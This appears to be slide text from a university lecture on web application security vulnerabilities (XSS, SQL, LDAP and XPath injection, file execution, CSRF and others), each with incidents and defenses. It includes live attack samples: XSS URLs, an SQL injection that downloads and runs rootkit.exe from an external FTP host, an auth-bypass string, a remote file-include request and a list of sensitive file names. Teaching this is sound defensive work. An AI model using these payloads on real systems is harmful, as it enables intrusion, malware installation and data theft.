Tracking Down Application Security Vulnerabilities

Cross site scripting attack (CSS or XSS) creating a malicious script on one site that runs in the browser to compromise user data.

Cross site scripting attacks

Problem: The most prevalent and pernicious Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.

Cross site scripting attacks

These attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a web page. Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.

Cross site scripting attacks

How to protect users: Use a white-list to validate all incoming data, which rejects any data thats not specified on the white-list as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser.

Cross site scripting attacks

You often receive an email with a hyperlink. Imagine receiving a message with a link to your online banking site exclaiming that you could win $100 dollars as part of a promotional push to utilize the site. If you clicked the link, and logged into the site, you could have revealed your logon information to an attacker.

Demo:
http://www.tipicalcharlie.com/index.cfm?search=%3Cscript%3Ealert%28window.location%29%3B%3C%2Fscript%3E

http://www.tipicalcharlie.com/index.cfm?search=%3Cscript%3Evar%20wvs_xss _test_variable=1990206184%3Balert%28wvs_xss_test_variable%29%3B% 3C%2Fscript%3E

<script> var wvs_xss_test_variable=1990206184;alert(wvs_xss_test_variable); </script> http://www-uxsup.csx.cam.ac.uk/~jw35/docs/cross-site-demo.html

Tracking Down Application Security

Injection flaws Problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter which interprets textbased commands into executing unintended commands.

Injection flaws
- Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application. - In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.

Injection flaws
Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.

Injection flaws
How to protect users: Avoid using interpreters if possible. If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries.

Injection flaws
SQL Injection Attack When user input is used in an SQL query and the user input is not validated, the SQL server can be attacked. Often the data for dynamically produced web pages is stored in an SQL database. The data is retrieved using SQL and added to static information to display to the web user. Most E-commerce applications use this model. User information is stored in a database along with the product catalog, user orders, order status, etc.

SQL Injection
Consider the following VBScript query:
Query1 = INSERT INTO Records (Name, CardNum) VALUES ( & Request.Form(Username) & , & Request.Form(CreditCard) & )
This query takes several inputs from forms filled in by the user. Normally CardNum would contain a credit card number like, 560545334506. However, if a crafted CardNum was entered and no input validation is done, the query could be hijacked as follows:

SQL Injection Examples

CardNum= 1); EXEC xp_cmdshell echo open 111.22.3.45 4444 > o& echo get rootkit.exe>>o&echo bye>>o&ftp i n s:o&rootkit.exe)
(notice comment start on end of string)

This would evaluate to:

Query1 = INSERT INTO Records (Name, CardNum) VALUES ( Username , 1); EXEC xp_cmdshell echo open
111.22.3.45 4444 > o& echo get rootkit.exe>>o&echo bye>>o&ftp i n s:o&rootkit.exe)) If this SQL server were running on Windows, the above crafted string would result in the SQL server downloading the file, rootkit.exe, from the ftp site at 111.22.3.45 and executing rootkit.exe.

SQL Injection
Other attack approaches of this type include modifying the SQL to return the password table for the database, altering the sa account password or creating an admin level account with a password of the attackers choosing. The attacker may also use the sa account to alter web pages so the attacker can steal user credentials when they login. To prevent this kind of attack, the user input must be stripped of characters and strings that could be malicious. The input validation should be done on the server side, since client side validation could be bypassed.

SQL Injection
Authentication Bypass Exploit:
Consider a login form that accepts username and password and then executes the following SELECT to check the credentials: SELECT * FROM tblUsers WHERE username = jeff AND password =Trickey However, what if the user entered something besides a password in that input form, and instead entered an SQL command? Username: jeff Password: x OR 1=1

SQL Injection
Authentication Bypass Exploit:
The application might then create a SQL statement such as the following: SELECT * FROM tblUsers WHERE username = jeff AND password = x OR 1 = 1

Injection attacks are an attempt by an attacker to manipulate query data to modify query logic for malicious purposes. In this instance, a true condition has been included instead of a valid password, effectively bypassing the authentication mechanism and giving the attacker unauthorized access to the application.

Injection Attacks
Any other query or command language that accepts user input can also be susceptible to injection attacks. LDAP, JavaScript, XPath, Command Shellsas long as they accept unsanitized user input, they can be exploited.

LDAP Injection
Suppose there is a web interface to do ldap searches for Names, email addresses and telephone numbers. A normal URL might be: http://tim.ncsu.edu/ldap-search.asp?user=amridgley

User information for: Amber Ridgley Cn: Amber Ridgley Mail: amridgley@ncsu.edu TelephoneNumber: 919-555-4242

LDAP Injection
In the ldap-search.asp function, the real query is: http://tim.ncsu.edu/ldap-search.asp?user=amridgley

userName=amridgley Filter = (uid=amridgley) Search ou=people,dc=tim,dc=ncsu.edu Ldap search filter = (uid=amridgley) Ldap search attributes = cn, mail, telephoneNumber Note: The filter is uid = user_supplied_value

LDAP Injection
To find out if your application is vulnerable, an attacker might send these URLs: http://tim.ncsu.edu/ldap-search.asp?user=amridgley) http://tim.ncsu.edu/ldap-search.asp?user=amridgley| http://tim.ncsu.edu/ldap-search.asp?user=amridgley%26

If the application doesnt return an error, but simply returns no data, the attacker knows there is no validation being done.

LDAP Injection
Next an attacker might try to get more data than the application is supposed to return: http://tim.ncsu.edu/ldap-search.asp?user=amridgley)(|(objectclass=*)

User information for : top Objectclass : top :person :organizationalPerson :uid :uidnumber :gidnumber :posixAccount

LDAP Injection
posixAccount objectclass could contain interesting information. http://tim.ncsu.edu/ldap-search.asp?user=amridgley)(|(homedirectory=*) User information for : /home/amridgley homedirectory: /home/amridgley

Preventing LDAP Injection

Incoming Data Validation
All client-supplied data needs to be cleaned of any characters or strings that could possibly be used maliciously. This should be done for all applications, not just those that use LDAP queries. Stripping quotes or putting backslashes in front of them may not be enough. The best way to filter data is with a defaultdeny regular expression that includes only the type of characters that you want. If you need to include symbols or punctuation of any kind, make absolutely sure to convert them to HTML substitutes (such as &quote; or &gt; ).

Preventing LDAP Injection

For instance, if the user is submitting an email address, allow only the at sign, underscore, period, and hyphen in addition to numbers and letters, and only after those characters have been converted to their HTML substitutes.

Outgoing Data Validation

All data returned to the user should be validated and the amount of data returned by the queries should be restricted as an added layer of security.

Preventing LDAP Injection

LDAP Configuration
Implementing tight access control on the data in the LDAP directory is imperative, especially when configuring the permissions on user objects, and even more importantly if the directory is used for single sign-on solution. Understand how each objectclass is used and decide if the user should be allowed to modify it. Allowing users to modify their uidNumber attribute, may let the user change access levels when accessing systems. The access level used by the Web application to connect to the LDAP server should be restricted to the absolute minimum required. That way, even if an attacker manages to find a way to break the application, the damage would be limited.

XPath Injection
Suppose there is an application displaying a catalog of parts:

Normal output when Part Number is entered

XPath Injection
The XML contains: <products> <product catalogNumber=aaa123> <name>Blue Sprocket</name> <price>4.00</price> <cost>1.50</cost> </product> </products> So the XPath search is: /products[product catalogNumber = aaa123]

Note: The filter is a user_supplied_value

XPath Injection
To determine that an application is vulnerable to XPath injection, the first step is to append information to the Part Number that is always true.

The fact that the application still returned valid data is evidence that the application accepted the additional information and processed it as part of the query.

XPath Injection
Next an attacker enters a query that will always be false:

Since the query clause 1 = 2 will never be true, this query returns no results. The attacker now knows what the applications response will be in answer to a false question as well as a true question. Now he can ask any question he wants and understand the answer.

XPath Injection
So, to determine the number of nodes in the data, an attacker might try this:

aaa123 and (count(/descendant::*[position() = 1]/child::node()) =2) or 1 = 2

If the response is the true response, the number of nodes is 2. If it is false, try again with node = 3 and keep guessing from there.

As you can see, an attacker can determine the structure of the data and view it by adding XPath commands to the part number.

Preventing XPath Injection

Like with LDAP injection, the way to prevent it is to sanitize all input from the user. Filter data by using a default-deny regular expression. Make it so that you include only the type of characters that you want. Make your filter narrow and specific. If you need to include symbols or punctuation of any kind, make absolutely sure to convert them to HTML substitutes, such as &quote; or &gt;

XPath does not utilize access control restrictions as SQL does via privileges, so a successful XPath Injection attack can yield complete results in that all the data in the document will be revealed.

Tracking Down Application Security Vulnerabilities

Malicious file execution
Problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability is most common with PHP, a widely used scripting language for Web development.

Malicious file execution

Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.
GET //dotproject/includes/db_adodb.php?baseDir=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?

Malicious file execution

How to protect users: Dont use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems. Use PHP mod like Suhosin that blocks file includes except those from white-listed sources.

Tracking Down Application Security Vulnerabilities

Insecure direct object reference
Problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.

Insecure direct object reference

- Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface. - If references to database keys are exposed, an attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.

Insecure direct object reference

Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.

Insecure direct object reference

How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you cant avoid direct references, make sure to authorize Web site visitors before giving them access to objects.

Insecure direct object reference

https://submit.ncsu.edu/wrap-bin/submit_admin/www:744::002:8:2007

What happens if you GET the URL above and then change it to: https://submit.ncsu.edu/wrap-bin/submit_admin/csc:405::001:8:2007 ?? Can you access the submit locker for classes where you are not on the support list?

Tracking Down Application Security

Cross site request forgery
Problem: This attack takes control of victims browser when it is logged onto a Web site and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or remember me functionality. Many applications on the Internet are susceptible to cross site request forgery. In the case of an online banking site, to the bank, all it looks like is a legitimate transaction from a logged-in user.

Cross site request forgery

Real-world example: A hacker known as Samy gained more than a million friends on MySpace.com with a worm in late 2005, automatically including the message Samy is my hero in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. XSRF can be used to force users to make requests to transfer money out of bank accounts, send malicious emails, reset user information, or leverage any type of functionality the web application contains.

Cross site request forgery How to protect users: Dont rely on credentials or tokens automatically submitted by browsers. The only solution is to use a custom token that the browser will not remember.

Tracking Down Application Security

Information leakage and improper error handling

Problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the programs configuration and internal workings.

Information leakage and improper error handling

Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the companys database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.

Information Leakage
How to protect users: Use a testing tool such as OWASPS WebScarab Project to see what errors your application generates. Applications that have not been tested in this way will almost certainly generate unexpected error output.

Information Leakage
How to protect users: Use a fuzzing tool.
Fuzzing is an automated software testing technique that generates and submits random or sequential data to various areas of an application in an attempt to uncover security vulnerabilities.

Fuzzing
Fuzzing can be used to test variations of input such as:
resource path resource file resource file extension resource and query delimiter parameter name parameter name value assignment parameter value parameter separator /folder/file.html /folder/file.html /folder/file.html /folder/file.html?parameter=value /folder/file.html?parameter=value /folder/file.html?parameter=value /folder/file.html?parameter=value /folder/file.html?parameter=value&parameter2=value2

Fuzzing
Fuzzers can also vary the: Method Request-URI Protocol version Header Fields Cookies

Information Leakage Examples

Not Found messages
The requested URL /<script>alert(window.location);</script> was not found on this server. Apache/1.3.34 Server at www.ncsu.edu Port 80 Example 404 Error page

Information Leakage Examples

Example login screen showing OS is OpenBSD

Information Leakage Examples

Mapping Server Error This server encountered an error:
Couldnt open configuration file: C:\inetpub\wwwroot\config\bad.map

Information Leakage Examples

Error message reveals information about loginprocess.asp script

Information Leakage
If an attacker sends a crafted SQL query to a database server, they can often learn the name of the script and then use that information in an attack. The error could also reveal the path to the scripts directory which is also needed for a successful attack.

Information Leakage
Another common method employed for mapping the web server file space is to craft URLs to see if the server will output a different error when a file exists, but is not permitted to be viewed versus the file doesnt exist at all. For example, if the server outputs access denied for a file that exists, but isnt supposed to be viewed, versus file not found if the file really isnt there, the attacker can craft URLs to determine what directory stores a given file that may be vulnerable.

Tracking Down Application Security Vulnerabilities

Broken authentication and session management

Problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.

Broken authentication and session management

Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. This flaw was revealed by a networking products reseller, the flaw allowed creating e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.

Broken authentication and session management

How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.

Cookies
HTTP is a stateless protocol. Cookies are used to record the state of a connection between client and server across several HTTP requests. Instead of the server trying to track the connection state, the server provides cookie data for the client to store. The server specifies the cookie name.

Cookies
The cookie size is limited to 4kb. The server may store some information on the server side and the cookie maybe some type of index into the server session information. Cookies are associated with a domain. A cookie created by server1.yahoo.com can be accessed by server5.yahoo.com because they have the same root domain.

Poison Cookie attack

In this attack, the cookie contents are changed intentionally for malicious purposes. If the server doesnt create tamper resistant cookies or encrypt cookie data, the cookie could be altered to allow unauthorized activity. The cookie data may contain privilege level, user ids, product pricing, discount rates, etc. This data could be altered to allow one user to impersonate another or for malicious users to alter product prices for an order. A cross site scripting attack may be used to poison cookies or steal them for unauthorized activity.

Tracking Down Application Security Vulnerabilities

Insecure cryptographic storage
Problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, its often poorly designed, using inappropriate ciphers.

These flaws can lead to disclosure of sensitive data and compliance violations if database tables are dumped or data leakage occurs in a URL or error message.

Insecure Cryptographic Storage

Real-world example: The TJX data breach that exposed 94 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005. In this case, hackers gained access to the corporate network and installed a Trojan that collected credit card numbers, expiration dates, names, addresses, and other validation information as they were sent to the payment transaction system in clear text. Hackers then connected and downloaded the stolen information periodically for 18 months.

Insecure Cryptographic Storage

How to protect users: Dont invent your own cryptographic algorithms. Use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. Furthermore, generate keys offline, and never transmit private keys over insecure channels.

Tracking Down Application Security

Insecure communications Problem: Failure to encrypt network traffic when its necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.

Insecure Communications
Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable pricechecking devices, cash registers and store computers.

Insecure Communications
How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.

Tracking Down Application Security Vulnerabilities

Failure to restrict URL access Problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often theres no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as 123456. A hacker might say I wonder whats in 123457?

Failure to Restrict URL Access

Real-world example: A hole on the Macworld Conference & Expo Web site this year let users get Platinum passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.

Failure to Restrict URL Access

How to protect users: Dont assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the users role and privileges. Make sure this is done every step of the way, not just once towards the beginning of any multistep process.

Failure to Restrict URL Access

GOOGLE and other search engines can also aid the attacker in finding out information on a target. The attacker would search for files that should not be accessible, but are due to some oversight, or error in configuring file permissions. Some example filenames are listed below:
Admin.asp shadow Config.asp .htaccess Password.asp .htpasswd Admin.aspx root Admin.pl Administrator Config.pl Webmin Admin.cfm miniserv.pl /etc/passwd password Passwd username